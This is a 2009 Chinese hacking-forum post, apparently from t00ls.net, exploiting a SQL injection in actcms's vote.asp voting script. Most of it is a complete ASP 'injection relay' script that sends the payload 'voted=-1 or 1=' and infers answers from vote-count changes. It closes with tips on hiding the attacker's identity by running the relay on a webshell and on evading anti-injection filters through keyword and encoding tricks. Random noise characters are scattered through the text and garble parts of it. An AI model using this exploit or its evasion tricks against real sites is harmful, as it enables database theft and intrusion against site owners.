$ \: V9 P, W3 y6 k看到ninty大牛的blog的一篇文章
: P( U4 b% {# A3 l1 l链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
0 E9 n9 f; a- ] c/ i关于actcms漏洞的利用 by 3x qq:381862589: J ]9 B9 C& n; l
转载请注明以上
1 `% e$ E! h$ v& d3 `! P+ L漏洞文件:
1 R& R; a: h# H. u1 b2 r9 T- P/plus/vote/vote.asp, Q; z1 J* h: w
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 1 | c7 i% c B! ^* d/ \, ~; y+ W2 X
" `5 `4 B3 @4 p$ y& S
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
+ ^% j7 S$ s$ }
- _/ T3 V' Y2 R8 k0 ^ d- o+ p3 response.end 4 G* m; I6 Y1 u$ Y7 F) _) M
( {9 y% k0 u, m3 ~! j" ]4 end if 8 f1 h6 T7 r" u, }& r& ]8 W( s
3 e7 ~7 j! e) y/ f- }
5 for i=1 to request("voted").count
$ G3 O6 ?7 Q- t2 }* y
z1 L3 P/ E# r$ G+ |6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
/ \( `7 L5 M# Z) u2 k' x1 R+ u) h# a6 l+ w' p# r
7 next
# o+ `$ L' H6 N6 B
+ V( W) t7 N( u+ _: A. Y8....
6 }6 T8 V5 {7 c
, g7 l9 U$ y3 D1 S! p# p9response.Redirect "index.asp?id="&id&""
% X& A1 ]* `3 V/ _9 o投票结束回跳转回index.asp这个投票结果页面3 N" G' q1 ?. W, d3 l q) C
如果投票成功票数加1* ]) r3 J0 K- L9 l7 j/ E; X
失败票数不变
. o5 @: k- m/ N- X0 M+ B6 y0 i& H如图:& u" k. S* R4 a6 O5 M C9 K6 E6 p7 ?7 \
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)8 k- N, e7 W4 A0 J+ c5 Z5 n
. D! y4 K" D1 O' J6 l2009-12-27 13:20
9 y) ]( c: b5 y
8 w: y- G+ u: w& H; i利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了+ _& g4 d# p9 ?8 b$ V/ j
3 m6 g9 u. b, o- |7 z4 V本帖隐藏的内容需要回复才可以浏览( K4 B2 g7 e6 A' T0 x/ e1 D& w4 Q7 K
我们用注入中转来实现这个注入具体代码如下:
$ D2 y. x' f- O* h5 c先用寂寞的刺猬大牛的注入中转生成jmget.asp
% r j! b$ q" c. d, h( u! A$ t- n7 B4 H# [注入地址:http://localhost/actcms/plus/vote/vote.asp
* h4 T! g0 L5 I; e注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
2 p5 i9 e0 _8 ]4 `' J
! S0 n* I& N2 j3 [5 ?然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# I3 s8 _. r4 c5 ^5 Q% b' t4 C" T% x1 b- N" R
02JmdcwName=request("jmdcw")
, s G s6 l. s+ N3 M
9 r# y5 a m% t$ M0 a03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 1 Y F# t, T/ l6 D* A) n
, J w3 M+ b2 _9 V: z04JmStr="id=1&voted=-1 or 1="&JmdcwName 0 |9 I! Y5 F: _9 K$ g) t
4 l0 I" K; y! e4 G
05JmStr=URLEncoding(JmStr)
8 R. i* L0 t7 Y, W8 W$ Z* [
/ \! I2 ^( r9 n# X( S0 [ t06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
4 _ ?1 D6 v' E ~; i. \8 V6 f* R; U& t, `; p
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) J7 R! g3 Y' `/ L+ m
' S$ I$ }& z$ o" t' g08testurl=testurl & "?" & JmStr ; W# U1 l9 C2 o" f( C2 [
% W4 g; s& Q) ^
09JMUrl=JMUrl & "?" & JmStr 1 I& J0 k# }) z) H6 |! v" Y
- t4 C1 H; p7 _& k. m- `10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& T; m2 a: w8 P. K/ g4 T
; |9 i2 ?/ m5 T$ b2 z11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"2 F' T' J7 V& r
* o" K( V2 A6 f' S
12JmCok=replace(JmCok,chr(32),"%20")
9 g- g+ U9 q! B) l' q
: E' @+ Y; G* v& v8 E& v- c5 {13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
G. H h7 s. c+ X" C1 o, j4 Q- o$ I6 _+ M. I
14 , H; E I8 I- k9 R6 U" V' e
) n" l7 ^+ c# p/ J5 S) U15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ^0 q' y" \. X: R5 ]1 f. Y, d
" I1 R5 m7 r" k8 @16
$ N6 m6 z2 Z# |( y0 o/ V! T6 }" V* e" T; C% D. f
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# m8 s t! o+ b4 _ i4 A x- g2 Z& z& |) Y6 Z* f2 s
18response.write test1&""&test2&""8 {8 A5 G4 h3 \
; ~$ H5 x! C0 ]2 R- d# q
19
. ~; Q0 y: s7 V+ V
' {# F8 ^" k( p" L5 x20if test1=test2 then '如前后记录相等,表示失败
% H# v4 r9 q2 }3 a7 L0 ^! n/ Q" s5 |8 K
21 response.write "failed" b3 z" L! \7 Q* f" g8 E+ X
6 K2 h% L( e/ Q: X% B' V. U' t" ]22else 1 f# g5 b( I2 Y! o) x) g
- O S5 p* g- a( o
23 response.write "succeed"& h9 s9 L* C. b
/ y [3 q% ~' @1 u
24end if
8 h. e( j% y9 r8 {4 V7 k: t! d1 Q, `& h! s0 _. x7 L* n: g
25
' o( L9 P" k/ k- a6 [6 s
: R2 p( S8 t! @. l2 \2 i26response.write "by 3x"
4 C5 @: O! h0 W1 t/ K0 C
2 D* i, E2 Z" M) J( P9 \27
5 h# M/ L. O% ?3 t. C$ \
- u7 x& B5 t: t) @5 B7 E6 c& g28
/ j: ]. D! i% I* O( }! C D
9 i6 C5 p0 g* w H2 @29Function PostData(PostUrl,PostStr,PostCok,PostRef)
8 c2 {- v/ y3 h( X: H! M( ~+ l0 F
! K, b/ G7 q7 y: A8 n30Dim Http ! U! A$ ~6 i& {. I
& D/ X3 N5 Q+ ? `31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 u# M' x x/ s, r- |: p8 |5 H
4 |! j% D' X; P' m32With Http 3 }4 C' g) O# M+ q, \& Y
2 q: o2 c/ B6 \5 m6 X
33 5 W/ s3 k5 f$ _# m3 W8 ~
4 g2 A0 e- ]: m3 \, T' b5 C, L7 T
34.Open "GET",PostUrl,False
$ S& O2 \& h! D
8 p; q; L3 ]/ ?4 M+ ^+ C35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" F# P6 `3 N) N* z2 a- g0 a( k g- W
36.SetRequestHeader "Referer",PostRef
! y9 H% D0 g+ {0 c* k. |, R6 [2 J" b( U" H% b
37.SetRequestHeader "Cookie",PostCok 5 s" m3 C5 e5 b8 _0 o9 g
. _- \. ]' W! t. o' R3 Q& F Q38.Send () 7 ~" g4 p3 W: y1 a% A
% A) O$ F. F, D
39PostData = .ResponseBody 9 N ?8 v3 z4 m; P; A/ B3 {. q% i: h$ ~
/ E4 v. g0 [- J7 U+ i% H q1 T* |40End With
' n, h* D5 |7 I# K2 u
! }) [, D1 N" s3 z41Set Http = Nothing
$ u* w5 e5 I# [8 x; l( b/ v0 p
# K a5 k5 {1 j6 h# i9 ?" q42PostData =bytes2BSTR(PostData) 9 j. m. H6 y" r7 ^0 X
7 }) {$ ]+ a. H3 Y% c0 ]) Z43End Function2 M8 j: V# T: ~/ W4 F+ G
6 y+ k% \9 h5 ]$ ?% m) `" r44
/ a# u2 h( m! ~( k) d
0 T2 e# Q; M8 J45 , L4 ?9 `* ^* {
, u7 }; c: U" _% A( \# h
46Function bytes2BSTR(vIn)
6 |" z8 E2 [# r- y; v
/ C% ~$ |! B) s7 u1 h47Dim strReturn
5 f, j/ k" `. |5 T5 ]! K2 u2 B/ B' G6 O
48Dim I, ThisCharCode, NextCharCode
- S0 u! S& q$ M! a/ r2 w: _3 Y4 r1 F, \% ?7 m& b! r
49strReturn = "", a" C0 s! @/ X; Z( _2 a4 U
; H. I4 L7 k& G& }
50For I = 1 To LenB(vIn)
; B& |+ A4 I4 M; Q
7 ~- o: Y8 ~9 j2 p51ThisCharCode = AscB(MidB(vIn, I, 1))
/ `5 w9 U2 {% b" e3 {; F9 ] s) O1 @, @6 C G3 ~8 D2 T
52If ThisCharCode < &H80 Then
( A2 z- ]8 t- M, P' M( Z
9 w4 t3 B" k# Q3 }6 B53strReturn = strReturn & Chr(ThisCharCode) 3 |3 T W1 m6 s: L/ v: }
7 A# F( a0 `) H3 i2 p
54Else
2 M2 u4 v4 ~# r5 H) S" Z8 T: n. ]) A
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 H7 `! r2 ?. Y0 \% ^/ @
0 }4 [8 O. K# S% D/ M56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
8 x( e7 P4 t: K
( V, R; Y: J- ~# w57I = I + 1 * y4 ?$ y+ |. M3 o
* i+ }" s; b, G7 f3 h58End If
; e7 T( h4 Y% r% E6 f9 X/ e
; t) v% V5 @8 P$ X' A! z) t5 X59Next7 Y# F; Q1 a9 B
: k {6 Y, |) u' ~0 }4 M# v
60bytes2BSTR = strReturn ) d; @! H: F4 l, z% C7 l
% q& [+ C$ l+ S& I/ ^61End Function" k% I. g9 [- e0 v& C" {
5 N& {# M: D$ `% d$ s! p/ Q }$ a62
1 D h& _+ r; X) k: \3 p/ x: j1 M+ _ V0 t
63Function URLEncoding(vstrin)
1 J3 |" Q {/ V3 x7 Z" B! X0 x0 T# @1 o, M7 s$ V
64strReturn=""* Y- j5 S. _. f% s5 e: k
, H# @" Q) ^& g5 S65Dim i 9 T; X0 R/ h- m/ h, g
; N' i: x3 s, T j7 ]
66For i=1 To Len(vstrin)
6 f! N4 Y: Y3 Y* O3 B* ?
6 C; W6 n# H" w. f' x67ThisChr=Mid(vstrin,i,1) : r" r3 q; }/ M$ P% B8 I
8 m/ j- Y: D. K! ?. A$ Q
68if Abs(Asc(ThisChr))< &HFF Then
* B, p# ]. f9 d7 y$ ?
( { T1 j4 @0 e" s69strReturn=strReturn & ThisChr ' U, J9 c) F4 t+ F" ` H5 h
" l6 D7 C# n% F" E- B" |
70Else
8 Y0 [( q/ D. T- p5 a# \( i" x; \. |. d8 G+ g f/ r0 N- y2 c7 D
71InnerCode=Asc(ThisChr)
" q1 m4 \; }! k- R# L/ r. y. ]1 Z1 T/ N6 m( n
72If InnerCode<0 Then: o8 b3 G' N& l4 b; L
% Q) v( [, s% a7 h; [% z73InnerCode=InnerCode + &H10000 * q$ Z; l8 y5 t, J
S. q4 b- z6 e0 j' g& p
74End If
5 N( W: C5 y( z' z7 R4 c) w' f6 B% t! k8 k2 S: u! r! G
75Hight1=(InnerCode And &HFF00) \&HFF 5 _9 D3 ], r5 E. K4 ?; t8 ~
. Z* ^* C8 \2 D3 i2 a
76Low1=InnerCode And &HFF 0 p; I! F8 F ?6 Q$ |: D0 m
0 i/ t% d% u, T# X# c
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) # R' t1 a# R: M( a
- `7 }! q( e( R! a m# \& o" {
78End if ! W& ~% `- D& h# R0 W, _5 t
8 K; e8 b* Y5 I- u' f" U& e6 P$ n
79Next
* E: T! A8 F/ _
H4 |! G$ R* Z$ `; W4 U3 {80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
3 Y8 f9 P4 c; ^( k) y
5 c! Y" Y$ Q0 S% W; a: i0 ~1 l81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 - z) B, C5 ?2 z! x+ M
4 U2 }7 Z1 D5 X# x0 V82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 . n3 h2 `% m5 h4 _7 x1 E* c
/ p( h' m7 r1 d3 L; F
83URLEncoding=strReturn 5 J9 ]* `4 p$ _8 Y& Z+ p
+ S" \2 D* G* f8 r6 {
84End Function/ b1 O' v. w2 r$ h$ h; ]
9 s& A9 [. e$ F7 m* F0 L
85 1 B; q6 l" K' E
( ]; H* M, I6 O1 q: @
86function getSt(body) ; T9 C0 F! s1 E: M9 F0 s
& h! ] T+ T# ?' b8 _
87 startpot=instr(body,"投票人数:")+len("投票人数:")
, b. z/ ` I) O5 M, d9 j9 P
$ ]4 ^: D3 m) t" x2 O- D88 endpot=instr(startpot,body," ")
, k9 h/ x; l! a9 m
! q- ~) g ]: y T89 getSt=mid(body,startpot,endpot-startpot) % K. l, I' w: x+ t
& b1 I: E1 I6 G& K90end function 8 R: `7 d6 U I. p: e* V
% p2 t0 t$ z2 m4 |/ j91%>0 W. y4 H6 K9 [: Q
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
; |9 p: L1 V X: y$ b/ @* A测试下效果:) z) E2 A% v+ H M; {# k, Z
投票成功:2 t( ?4 m7 e' l$ i) n# P
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
$ y. F# M" \0 ~2 a% w x& B. t3 P7 _8 e6 F; A5 Y+ k
2009-12-27 13:29; S V9 r3 d- V8 s# u2 P8 T
投票失败9 ]+ w8 W: ~+ P- {
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
. P8 y1 j* I: q3 e9 O
; \9 F. I) h3 ]8 G8 R0 L4 y) y2009-12-27 13:29
& i7 z; G+ u$ l5 j8 t8 l* P* g2 E& \-------------------------------------------------------------------------------. i3 Y# z! ]" J- m Q
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以0 ]# m0 k& B9 r" Z9 S" t
很抱歉。。。只能用单线程工具去注入。。。。。
/ a5 a l; Y, p2 y8 P( j所以失败。。。不好意思。。。
* {" T% V) B- X5 ?; a' d, H2 F-------------------------------------------------------------------------------
' ?- k1 r5 _9 |9 v; {
/ e- a$ d& ^4 y% K+ n5 G+ E- D. U注入中转的一些其他应用: W W( `, n5 ~% j5 b
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
7 r$ }. t) c( n, d1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& [+ b" }0 z* A' v2.post注入转成get型的注入,方便我们使用工具来跑
# X/ u |, g3 Y* d6 [/ i8 \* p9 }3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
' V) x9 R0 g1 [0 Q6 q4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ c4 N: P* ^& Q8 @- e3 L% s" \# r
' Q7 R0 A1 r7 |; C# p% } |